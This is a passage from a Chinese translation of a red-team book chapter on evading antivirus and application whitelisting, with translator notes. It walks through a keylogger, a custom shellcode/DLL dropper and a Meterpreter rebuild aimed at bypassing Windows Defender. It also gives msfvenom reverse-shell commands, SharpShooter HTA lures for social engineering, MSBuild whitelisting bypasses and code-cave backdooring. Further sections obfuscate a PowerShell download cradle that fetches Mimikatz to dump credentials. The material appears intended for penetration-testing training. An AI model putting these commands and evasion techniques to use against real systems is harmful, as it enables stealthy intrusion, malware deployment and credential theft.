另一种可以用来逃避杀毒软件的方法是使用函数指针调用 User32.dll 中的函数,而不是直接调用函数。为此,首先编写一个函数定义,然后使用 Windows 系统的 GetProcAddress 函数找到要调用的函数的地址,最后将函数定义指针指定给从 GetProcAddress 接收的地址。可以在此处找到如何使用函数指针调用 SetWindowsHookEx 函数的示例:https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。 该程序的第 3 版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是,如果你将已编译的二进制文件提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。在下面的图片中,左侧图像是版本1的检测结果,右侧图像是带有调用指针的版本3的检测结果 。 你可以在以下网址找到版本3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。 为了了解你是否已成功避开杀毒软件,最佳选择是始终针对实时杀毒软件系统进行测试。在真实世界的入侵活动中,我不建议使用 VirusTotal 网站,因为你的病毒样本可能会发送给不同的杀毒软件厂商。然而,它非常适合测试或者学习。对于我们的 payload,以下是 VirusTotal 比较: 对于版本1,32位,21/66(21家检测出),触发杀毒软件: https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a62d/detection http://bit.ly/2IXfuQh 对于版本3,32位,14/69(14家检测出),触发杀毒软件: https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762255b7/detection http://bit.ly/2IYyM7F 最后,如果我们将版本3编译为 64 位的 payload,我们得到 1/69(仅仅一家检测出)!: https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175c13c0/detection http://bit.ly/2JNcBmc 译者注:根据上面的链接,译者点进去看了每一个数据,但是发现数据都有所更新,所以把上面的内容修改为和链接到的内容一致的最新数据。但是下面的图片是书上的原图,所以是老的过期的数据。下面的图片是说,将版本3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在已经是 1/69,也就是 69 个杀软种有一个可以检测出病毒。 实验: 下一步我们还可以做什么呢?有无限种可能!可以做一些小的优化比如对 log.txt 内容进行模糊/加密,或者在程序启动后启动加密套接字,然后将获得击键权限直接写入该套接字。在接收方,服务器将重建数据流并将其写入文件。 这将阻止日志数据以纯文本形式显示,就像当前一样,并且还可以防止在硬盘中留下更多的文件痕迹。 如果你想做一些大的改进,那么你可以将可执行文件转换为 DLL,然后将 DLL 注入正在运行的进程。这样可以防止进程信息显示在任务管理器中。虽然有一些程序可以显示系统中所有当前加载的 DLL,但注入 DLL 会更加隐蔽。此外,有些程序可以反射性地从内存加载 DLL 而根本不在磁盘中留下痕迹(无文件),从而进一步降低了被取证的风险。 本书定制的挂钩病毒(Dropper) Dropper(挂钩病毒)是红队工具包的重要组成部分,允许你在不把程序放在受害者计算机磁盘上的情况下运行你植入的程序。不将你的植入程序保存在磁盘上会降低它们被发现的风险,从而可以供你多次使用开展工作。在本章中,我们将介绍本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。 在设计 dropper 和相应的服务器时,你需要记住一些事项。dropper 的目的是成为你的武器库中的一件用完就销毁的武器,这意味着你必须假设以当前形式使用它将触发进一步活动中的检测。 为了使后续的入侵活动更容易,你需要开发一个可以重复使用的标准服务器。在该示例中,你将看到一个基本的网络实现,它允许为不同的消息注册新的处理程序(handler)。虽然此示例仅包含 LOAD_BLOB 消息类型的处理程序,但你可以轻松添加新处理程序以扩展功能。这样就可以搭建良好的底层架构,因为你的所有通信都已标准化。 编写 dropper 或其他任何你希望快速找到并进行对其逆向的东西的时候,有个很重要步骤就是要清理你的文本字符串。当你第一次构建软件时,或许你运气好、调试消息显示成功,这使你无需手动单步执行调试器以查看为什么会出现问题。但是,如果特定的文本字符串在最终版本中被意外地遗留下来,将使病毒分析师很容易就可以逆向你的恶意软件。很多时候,反病毒会针对一个独一无二的特定字符串或一个常量值签名。在示例中,我使用 InfoLog() 和 ErrorLog(),它们的预处理器将在发布版本上编译。使用那些宏,通过检查是否定义了_DEBUG,将指示是否包含相关调用。 本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git Shellcode 与 DLL 在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。通常对于很多公共植入文件,你可以生成一个完整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 直接加载 DLL 将使你无需再进行更多的 API 调用,从而保持更好的隐蔽性。由于 header 被修改,某些植入文件可能无法正确加载。如果你的一个植入文件不能正常工作并且包含一种生成 shellcode 的方法,那么这应该可以解决你的问题。这是因为它们的自定义加载器通常用于修复 header 并从 DLL 加载它。 在网上也可以找到很多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 存档,其中一些可能会为你的入侵活动派上用场。 运行服务器 构建服务器很简单。 在本书自定义的 Kali 镜像上,你需要运行以下命令: 对于首次编译: cd /opt/ sudo apt-get install build-essential libssl-dev cmake git git clone https://github.com/cheetz/thpDropper.git cd thpDropper/thpd mkdir build cd build cmake .. make 对于后续编译,你需要做的就是: cd /opt/thpd/build make 要运行服务器,在编译它之后,你需要输入: ./thpd [path to shellcode/DLL] [loadtype] 以下值当前对加载类型有效: 0Shellcode这会将原始的汇编 shellcode 字节发送到客户端 1 DLL 这会发送一个普通的的 DLL 文件,以反射方式加载到客户端中 虽然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 工具(Metasploit/Meterpreter,Cobalt Strike 等),但是我们在示例中仅仅使用一个 Meterpreter payload。 生成一个 payload : 对于 Shellcode payload : msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f c 注意,你必须使用 msfvenom 的输出,并且仅仅使用原始的汇编 shellcode(删除引号、新行和任何非 shellcode 的内容)。 启动服务器:./thpd ./shellcode.txt 0 对于 DLL payload : msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f dll > msf.dll 启动服务器: ./thpd ./msf.dll 1 客户端 客户端以与服务器类似的方式运行,其中它为每种消息类型注册了一个处理程序(handler)。在启动时,它将尝试回调服务器,如果无法连接或一旦断开连接则重试 n 次,并发送消息要求加载 blob 对象。服务器将使用 BLOB_PACKET 进行响应,客户端将通过 head--> msg 字段识别并分派该 BLOB_PACKET。所有数据包必须在开始时定义 HEAD_PACKET 字段,否则网络处理程序将无法识别它,并将其丢弃。 使用 BuildPacketAndSend() 函数将正确设置头数据包,允许另一方解码它。 要构建客户端,你需要使用 Visual Studio 和 Git 。 首先将 Git 仓库( https://github.com/cheetz/thpDropper.git )克隆到一个文件夹中,然后在 Visual Studio 中打开 thpDropper.sln。确保为代码设置了正确的体系结构,如果你不需要任何调试信息,请将编译模式设置为build for release。完成此操作后,按 F7 键(编译快捷键),Visual Studio 会为你生成可执行文件。 配置客户端和服务器 在 globals.cpp 文件中可以查看大多数客户端的配置,你想要更改的三个主要配置设置是主机名、端口和数据包时间间隔。每个设置旁都有详细的注释,告诉你它们是什么。虽然你不需要更改数据包签名,但我还是得说一下:更改数据包签名将修改发送的每个数据包的前 2 个字节,用于标识它是服务器上的有效连接。如果你希望对 IP 和端口进行模糊处理,则可以编写代码以在访问它们时对其进行解密,并仅将加密版本存储在二进制文件中。 在服务器端,在 main.cpp 文件中,你可以修改服务器正在监听的端口。此配置在 main 函数中作为 StartupNetworking() 的唯一参数。如果你决定更改客户端中的数据包签名,则需要修改服务器以反映该数据包。这意味着在 include/lib/networking.h 文件中,PACKET_SIGNATURE 值要与客户端中的全局变量相匹配。 添加新的处理程序 设置网络代码库可以允许你轻松地添加新功能。为此,你需要使用客户端上的 void name() 原型或服务器上的 void name(int conn) 原型来创建一个回调函数。这些将被注册到你的消息类型的处理程序数组,并且在验证头数据包时调用它们。在这些函数中,你必须从 recv 缓冲区中读取包和相关数据。你需要调用 recv() 来指向数据包结构上的指针,以及该数据包的大小。这将提供关于需要从 recv 缓冲区中拉取多少数据的信息。在这个例子中,你将看到我们在处理程序中读取 BLOB_PACKET ,然后使用存储在 packet.payloadLen 中的值来指示我们需要进一步读取的字节数。相同的原理可以应用于其他的数据类型。如果要将包含文件路径的字符串发送到受害者计算机上的某个文件,你需要在处理程序的数据包中设置一个字段,用于描述字符串的长度,你将在发送完数据包之后发送该字符串。 进一步练习 虽然此代码库已经可以为你的工作提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较直接的思路是在传输层上加一个简单的加密层。你可能希望创建自己的 send 和 recv 包装器,用于在调用 send 和 recv 函数之前进行解密/加密。一种非常简单的实现方法是使用多字节异或密钥,虽然不是很安全,但至少会充分的改变你的消息,使之不易识别。另一个可能的思路是扩展 LoadBlobHandler() 函数,使之具有新的 LOAD_TYPE。使用这种新 LOAD_TYPE 的话,如果客户端以管理员身份运行,就会加载已签名的驱动程序。这可以通过使用 CreateService() 和 StartService() 这两个 Windows API 调用来完成。但是需要记住加载驱动程序需要它在磁盘上,这将触发文件系统的微型过滤器驱动程序来获取它。 重新编译 Metasploit/Meterpreter 以绕过杀毒软件和网络检测 我真的很想谈谈这个话题。但请注意,这将会有一些超前,所以你很可能在编译期间遇到一些问题。有很多很棒的工具,比如 Metasploit / Meterpreter,但是每个防病毒和网络入侵检测(NID)工具都为它开发了签名。我们可以尝试使用 Shikata Ga Nai 来混淆通过 HTTPS 传输的 payload,但也仅此而已。任何类型的混淆通常都会有一个检测的存根签名,杀毒软件会检查内存,查看特定某些位置的特殊字符串。网络流量可以通过 HTTPS 执行中间人检查。那么我们怎样才能继续使用我们喜欢的工具,同时绕过所有常见的保护措施呢?让我们以 Metasploit/Meterpreter 为例,看看我们如何绕过所有这些障碍。我们的目标是处理和解决二进制文件的杀毒软件签名(静态特征),内存运行中的特征和网络流量特征。 为了躲避所有这些检测方法,我们需要做一些事情。首先,我们需要修改 Meterpreter 的 payload,以确保不会在网络和内存中使用签名轻松检测到它们。其次,我们修改 metsvc 持久性模块以防止它标记反病毒。第三,我们用 Clang 编译部分 metsrv(实际的 Meterpreter payload),以防止它也标记反病毒签名。最后,我们将编写自己的 stage0 payload,下载并执行 Meterpreter,以绕过所有的反病毒。 使用 Clang 编译 metsrv( Meterpreter 的网络服务包装器)并删除 metsrv/metsvc-server 引用: http://bit.ly/2H2kaUB 修改Payload,删除像 Mimikatz这样的字符串: http://bit.ly/2IS9Hvl 修改反射 DLL 注入以删除像 ReflectiveLoader 这样的字符串: http://bit.ly/2qyWfFK 许多网络产品会检测 Meterpreter 的0/1/2级加载器。除了混淆我们的 payload,我们还可以混淆实际的 shellcode。一个例子是遍历所有 Ruby 文件以获取不同的 payload 类型,并添加随机空指令滑行区(nop sled)以避免被检测到: 译者注:一个空指令雪橇(NOP sled)(也被称为空指令滑行区)是在 shellcode 之前的一段很长的指令序列。参考资料: 空指令雪橇 http://bit.ly/2JKUhdx 自定义 Stage0 payload: http://bit.ly/2ELYkm8 实验: 在本实验中,我们将采用所有我们修改过的 Metasploit/Meterpreter 代码,重新编译它,并确保它可以躲避基本的杀毒软件检测。 在开始之前,请查看搭建 Metasploit 的环境设置: https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Windows 要求: Visual Studio 2013(VS2013)—— 社区版就行。需要随安装时一并安装 C/C++。 LLVM 32位 Windows版本(一定要在安装完 VS 之后再安装 LLVM 而且一定要安装 LLVM 工具链) —— 在此地址下载 LLVM 6。 Windows 版本的 GNU make 工具程序 —— 确保它位于你的路径中,或者从它的可用的已安装路径运行它。 Git-SCM 如何在 Windows 上构建(build) Metasploit/Meterpreter: 首先拉取所有的 cyberspacekitten 仓库。这些文件已经针对你的实验进行了大量修改来作为 POC。然后我们需要下载框架和所有 payload: git clone https://github.com/cyberspacekittens/metasploit-framework cd metasploit-framework && git submodule init && git submodule update && cd .. git clone https://github.com/cyberspacekittens/metasploit-payloads cd metasploit-payloads && git submodule init && git submodule update && cd .. 虽然我们已经对仓库做了包括修改字符串、用 clang 编译和为 payload 添加随机空指令滑行区等这些更改,但请务必检查这两个仓库之间的 Metasploit 差异,以明确具体的更改内容。 编译 Metasploit/Meterpreter: 我们要做的第一件事情是重新编译我们更改后的 metsvc 和 metsvc-server。在 Visual Studio 2013 的开发者命令提示符 VS2013(Command Prompt for VS2013)中执行以下操作: 转到我们修改的 metsvc 的源码所在的文件夹: cd metasploit-framework\external\source\metsvc\src 使用 make 进行编译: “C:\Program Files (x86)\GnuWin32\bin\make.exe” 将我们新创建的二进制文件移到我们的 meterpreter 文件夹: copy metsvc.exe ........\data\meterpreter\ copy metsvc-server.exe ........\data\meterpreter\ 接下来,修改我们的 Meterpreter payload 并使用提供的 .bat 文件对其进行编译: cd metasploit-payloads\c\meterpreter make.bat 编译完所有内容后,将生成两个文件夹(x86 和 x64)。将所有已编译的 DLL 复制到 meterpreter 文件夹: copy metasploit-payloads\c\meterpreter\output\x86* metasploit-framework\data\meterpreter copy metasploit-payloads\c\meterpreter\output\x64* metasploit-framework\data\meterpreter 最后就是要放到服务器上了。我们现在可以将整个 metasploit-framework 文件夹放到你的 Kali 系统上并启动 HTTPS 反向处理程序(windows/x64/meterpreter/reverse_https)。 创建一个修改后的 Stage 0 Payload 我们需要做的最后一件事是创建一个 Stage 0 payload 来让我们的初始可执行文件绕过所有杀毒软件检测。Meterpreter 中的 stage 0 payload 是任何漏洞利用或 payload 的第一阶段。 stage 0 payload 是一段代码,它实现了一个简单的功能:以我们想要的方式(reverse_https,reverse_tcp,bind_tcp 等)进行连接或者监听,然后接收一个 metsrv.dll 文件。它随后将此文件加载到内存中,然后执行它。从本质上讲,任何 Stage 0 payload 都只是一个美化的“下载并执行” payload,因为这就是所有的 Metasploit 运行的方式,所以在许多反病毒解决方案中都有针对 Metasploit 特定行为的高级签名和启发式分析——哪怕修改 shellcode 并添加花指令也仍然会因启发式分析而被标记为恶意。为了解决这个问题,我们编写了自己的 Stage 0,它执行相同的功能(在内存中下载和执行):我们复制 Meterpreter 的 reverse_https payload 的下载调用,从服务器获取 metsrv.dll,然后将其注入到内存中并执行它。 译者注: 在 metasploit 里面,payload 简单可以分为三类:single,stager,stage。 single:实现单一、完整功能的 payload,比如说 bind_tcp 这样的功能。 stager 和 stage 就像 web 入侵里面提到的小马和大马一样。 由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager,stager 在攻击者和攻击目标之间建立网络连接,之后再把 stage 传过去进行下一步的行动。Reflective DLL Injection 就是作为一个 stage 存在。也即是说,你已经有了和攻击目标之间的连接会话,你可以传送数据到攻击目标上,之后 meterpreter 与 target 之间的交互就都是和发送过去的反射 dll 进行交互。 参考资料: Meterpreter 载荷执行原理分析 关于 stage 0 了解更多: 探寻 Metasploit Payload 模式背后的秘密 这里提供的 payload 具体示例具有一些更高级的功能。这样做是为了使它成为地址无关代码(PIC),并且不需要导入。这段代码是基于 thealpiste 的代码开发的 ( https://github.com/thealpiste/C_ReverseHTTPS_Shellcode )。 提供的示例 payload 执行以下操作: 所有代码都在内存中定位 DLL 和函数以便执行;无需导入任何模块。这是通过手动为所有使用的函数打桩,然后在内存中搜索它们来实现的。 使用 Wininet 将实际的 HTTPS 请求执行回配置的 Metasploit 处理程序。 接收 metsrv.dll,并执行 blob 数据。Metasploit 为这些文件提供服务的方式,意味着入口点是缓冲区的开头。 这个功能是与执行 msfvenom 中构建的 payload 完全相同的过程。然而,msfvenom 以一种容易被预测和检测到的方式将这些添加到模板可执行程序中,并且这种方式是不可配置的。因此,大多数杀毒软件一直可以识别到它们。但是,仅仅需要一点编码技巧,你就可以重新编写这个 payload 的功能。重写的 payload 很小,并且可以绕过当前存在的任何检测。在撰写本文时,已经测得此 payload 可以绕过所有杀毒软件,包括 Windows Defender。 创建 payload(完整的 payload 位于这里): 在 VS 2013中,打开 metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj 在 x64_defender_bypass 下有一个 settings.h 文件。打开此文件并将 HOST 和 PORT 信息修改为你的 Meterpreter 处理程序(handler)信息。 确保将构建模式设置为 Release 并编译 x64 保存并构建 在 metasploit-payloads\c\x64_defender_bypass\x64\Release 下,将创建一个新的二进制文件 x64_defender_bypass.exe。在运行了 Windows Defender 的受害计算机上执行此 payload。当此项目构建成功,Windows Defender 不能检测到这个 payload。 你现在拥有一个深度混淆过的 Meterpreter 二进制文件和混淆过的传输层,以绕过所有默认的保护。现在这仅仅是一个让你入门的 POC。只要本书一发布,我可以预见到其中一些技术不久就会被检测出签名。你还可以采取更多措施来更好地规避检测工具。例如,你可以: 使用 clang 混淆工具链来构建 对所有字符串使用字符串加密库 更改 Meterpreter 入口点(目前是 Init ) 创建一个自动化脚本,为所有 payload 类型添加空指令(nops) 编辑 payload 生成的实际 ruby,以便在每次运行时随机化 payload SharpShooter 作为红队队员,最耗时的事情之一就是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。我们一直在寻找新的方法来创建我们的初始 stager。一个名为 SharpShooter 的工具采用了许多反沙盒技术和 James Forshaw 的 DotNetToJScript 来执行 Windows 脚本格式的 shellcode(CACTUSTORCH工具—— https://github.com/mdsecactivebreach/CACTUSTORCH )。 摘自 MDSec 网站对于 SharpShooter 的描述:“SharpShooter 支持 staged 和 stageless 这两种类型 payload 的执行。staged 执行可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相结合等这些情况下进行。当一个 staged payload 执行时,它将尝试检索已经压缩的 C# 源代码文件,之后使用所选的传输技术进行 base64 编码。随后在主机上使用 .NET CodeDom 动态编译器对 C# 源代码进行下载和编译。然后使用反射从源代码执行所需的方法。” 让我们快速把一个示例走一遍: python SharpShooter.py --interactive 1 - For .NET v2 Y - Staged Payload 1 - HTA Payload 可以选择使用以下防沙盒技术: 你可以选择你想用的技术来绕过沙盒机制从而成功的执行你的恶意软件。 [1] Key to Domain [2] 确保 Domain 加入 [3] 检查沙盒痕迹 [4] 检查错误的 MAC 地址 [5] 检查调试 1 - 网络传输 Y - 内置 shellcode 模板 shellcode 作为一个字节数组 打开一个新终端并创建一个 C# 语言的 Meterpreter payload msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp 复制 { 和 } 之间的所有内容并作为字节数组提交 为 C# 网络传输提供 URI 输入攻击者机器的IP/端口和文件。示例:http://10.100.100.9/malware.payload 提供输出文件的文件名 恶意软件 Y - 你想将 payload 嵌入到 HTML 文件中吗? 使用自定义(1)或预定义(2)模板 要进行测试,请选择任意预定义模板 将新创建的恶意文件移动到你的 Web 目录下 mv output/* /var/www/html/ 为你的 payload 建立一个 Meterpreter 处理程序(handler) 配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动 apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。 补充信息: https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/ https://github.com/mdsecactivebreach/SharpShooter 应用程序白名单绕过 我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上运行自定义二进制文件,该怎么办?“应用绕过”的概念就是查找可以执行我们 payload 的默认 Windows 二进制文件。我们一直受限于一些环境因素比如域控(DC)的锁定机制,只能进行有限的代码执行。我们可以使用一些不同的 Windows 文件来绕过这些限制,让我们来看看它们中的几个。 一个经常被讨论的可以用于绕过应用白名单的 Windows 二进制文件是 MSBuild.exe。什么是 MSBuild.exe,它有什么作用? MSBuild 是 .NET 框架中的一个默认应用,它是使用 XML 格式的项目文件构建 .NET 应用程序的平台。我们可以对 MSBuild 使用 XML 项目文件格式这个特性进行利用,我们可以使用名为 GreatSCT 的工具创建我们自己的恶意 XML 项目文件来执行 Meterpreter 会话,从而利用此特性。 GreatSCT 有我们可以使用的各种应用白名单绕过的方式,但我们只将介绍 MSBuild。在此示例中,我们将创建一个托管 reverse_http Meterpreter 会话的恶意 XML 文件。这将要求我们将 XML 文件写入受害系统并使用 MSBuild 来执行该 XML 文件: git clone https://github.com/GreatSCT/GreatSCT.git /opt/ cd /opt/GreatSCT python3 ./gr8sct.py [4] MSBUILD/msbuild.cfg 填写你的主机IP[0]和端口[1] 生成 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器 在我们的 Kali 实例中,我们使用 GreatSCT 来创建 shellcode.xml 文件,该文件包含构建信息和一个 Meterpreter 反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。 *注意:我观察到 GreatSCT 项目正在 develop 分支上进行活跃的开发,其中包括 https Meterpreter 和其他应用程序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。 在 Windows 受害者计算机上执行文件调用后,使用 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml 命令,.NET 将开始构建 shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会触发杀毒软件。 可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资料: 使用 Windows 默认可执行文件的大量示例: https://github.com/api0cradle/UltimateAppLockerByPassList 使用 REGSRV32 和 PowerShell Empire: https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/ 通过 Excel.Application 的 RegisterXLL() 方法执行 DLL: https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/ 利用 INF-SCT 获取并执行绕过、规避查杀和持久化技术: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ 利用 Regsvr32 绕过 Applocker: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ 代码洞(Code Caves) 与任何红队行动一样,我们一直在寻找创造性的方式在环境中横向移动或保持持久性。通常,如果我们有凭证,我们会尝试使用 WMI 或 PSExec 在远程系统上执行 payload。有些时候,我们需要找到创造性的方式在环境中移动而不被轻易跟踪。 作为红队队员,被抓住并不是入侵行动中可能发生的最糟糕的事情。最糟糕的事情是当我们被抓住并且蓝队发现了属于该行动的每个域、IP 和受感染的主机。蓝队人员通常很容易就能检测到 WMI、PSexec 的连接特征来判定内网有横向移动,因为它并不总是被视为正常流量。那么我们可以做些什么来隐藏我们的横向移动呢? 这是我们可以发挥创造性的地方,没有标准答案(如果某种方法有效,那对我来说就够好了)。一旦进入一个环境,我最喜欢做的事情之一就是发现公开共享和主动共享/执行的文件。我们可以尝试将宏添加到 Office 文件中,但这似乎太明显了。一种通常不太容易被检测出并且成功率高的攻击是将我们的自定义恶意软件嵌入可执行二进制文件中。这可以是像 putty 这样的共享二进制文件,一个内网环境中常见的胖客户端应用程序,甚至是数据库工具。 虽然不再维护,但执行这些攻击最简单的工具之一是 Backdoor factory。Backdoor factory 会在真实程序中查找代码洞或空块,攻击者可以在其中注入自己的恶意 shellcode。上本书中涵盖了这一点,其思路保持不变。 可以在此处找到这两个资源: https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html 译者注: 经验证,上两个链接都已经404了。但是译者还是顽强的找到了不同网址同内容的替代资源。 对于第一个网址链接的文章,可以在本地址阅读该英文文章来查看 Code Caves 这一部分。 对于第二篇文章,几乎都404了。但是我找到了此文的出处:Introduction-To-Manual-Backdooring 这本电子书。需要的自取。 PowerShell 混淆 PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,很多防病毒工具都会把它们检测出来。即使你将它们导入内存,查看内存的杀毒软件工具有时也会对它们发出警报。 无论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保我们不会被杀毒软件检测出来是非常重要的。万一被检测出来的话,我们至少应该让应急响应团队或取证团队很难去逆向我们的攻击 payload。 我们都看过像这样的 PowerShell 命令: Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters] 这是我们可能看到的最基本的 powershell 调用指令的字符串组合,可以用于绕过执行策略,来以隐藏窗口的模式(后台运行无弹窗)自动下载和执行 powershell payload。对于蓝队,我们已经看到了很多关于这些特定参数的日志记录,比如 -Exec Bypass。因此,我们开始通过一些常见的 PowerShell 语法来混淆此参数: -ExecutionPolicy Bypass -EP Bypass -Exec Bypass -Execution Bypass 感谢 Daniel Bohannon 的提醒!他提醒说:更疯狂的是,我们实际上不需要打出完整的参数字符串就能使它工作。例如,对于 -ExecutionPolicy Bypass,所有下列示例都可以生效: -ExecutionPolicy Bypass -ExecutionPol Bypass -Executio Bypass -Exec Bypass -Ex Bypass 这些技术也同样适用于 WindowStyle 甚至 EncodedCommand 参数。当然,这些技巧不足以支撑我们走得更远,我们还需要创建更多的混淆变换。首先,我们可以使用一个非常简单的示例来执行我们的远程 PowerShell 脚本(在本例中为 Mimikatz)并使用以管理员身份运行的 PowerShell 提示符来转储哈希值: Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds 译者注: WindowStyle 和 EncodedCommand 是 PowerShell.exe 的选项参数。WindowStyle 可以改变 CMD 窗口的风格,将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。EncodedCommand 是接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。欲知更多参数,可以在 Windows Powershell 里面使用 powershell -help 命令查看。 Invoke-Expression 能将任何的字符串当作PowerShell脚本来执行。以下附上关于 Invoke-Expression 的更多参考资料: Invoke-Expression Invoke-Expression 帮助信息 通过 Invoke-Obfuscation 混淆框架,我们可以使用以下几种不同的技术对这个字符串进行深度混淆: 在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文件( https://github.com/danielbohannon/Invoke-Obfuscation ) 加载 PowerShell 脚本并启动 Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation 设置要混淆的 PowerShell 脚本。在这个例子中,我们将混淆上面的 Mimikatz 哈希值下载转储脚本 SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds 对 payload 进行编码 ENCODING 在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。 混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可以执行完整的 payload。 我们也可以回到主屏幕并创建混淆的 launcher: main launcher CLIP++ 选择你的执行 flag 更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。 除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 Invoke-CradleCrafter 的工具,该工具专注于远程下载 cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter 的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。 译者注: 什么是 cradle? 一个 download cradle(下载 cradle)是一个用于下载和代码执行的单行命令。通常可以在 maldoc 或 exploit 的末尾看到,执行攻击生命周期中第二阶段的exploit/infection 下载。在某些情况下,比如攻击者运行无文件时,一个下载 cradle 也可以是其他攻击阶段的持久性机制、工具或执行的一部分。 参考资料:Powershell Download Cradles 不使用 PowerShell.exe 执行 PowerShell 脚本 你最终在一个目标机器上找到了远程代码执行漏洞,但是你发现无法运行 PowerShell.exe 或该公司正在监视 PowerShell.exe 的命令。有哪些选项可以让你的 PowerShell payload 或 C2 代理在该主机系统上运行? NoPowerShell(NPS) 我喜欢 NoPowerShell 或 NPS 的概念。NPS 是一个 Windows 二进制文件,它通过 .Net 执行 PowerShell 脚本,而不是直接调用 PowerShell.exe。虽然现在杀毒软件通常会标记这一点,但我们可以使用相同的概念来创建二进制文件,以直接执行我们的 PowerShell 恶意软件而无需 PowerShell.exe。Ben0xA 已经为你提供了源代码 ,因此请随意尝试对二进制文件进行混淆处理以解决杀毒软件的绕过问题。 NPS_Payload( https://github.com/trustedsec/nps_payload ) 对 NPS 的另一种实施思路是 TrustedSec 的一个工具,通过 MSBuild.exe 执行代码。此工具将生成 PowerShell payload 到一个 msbuild_nps.xml 文件中,该文件在调用时执行。此 XML 文件可以通过以下方式调用: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\<path_to_msbuild_nps.xml> SharpPick SharpPick 是 PowerPick 的一个组件,它是一个很棒的工具,允许你在不调用 PowerShell.exe 二进制文件的情况下调用 PowerShell。在 SharpPick 中,“ RunPS 函数调用 System.Management.Automation 函数在 PowerShell 运行空间内执行脚本,而无需启动 PowerShell 进程。” [ http://www.sixdub.net/?p=555 ] 下载 SharpPick 后,你可以使用你的 PowerShell Empire payload 并创建二进制文件。有关如何设置环境和构建 payload 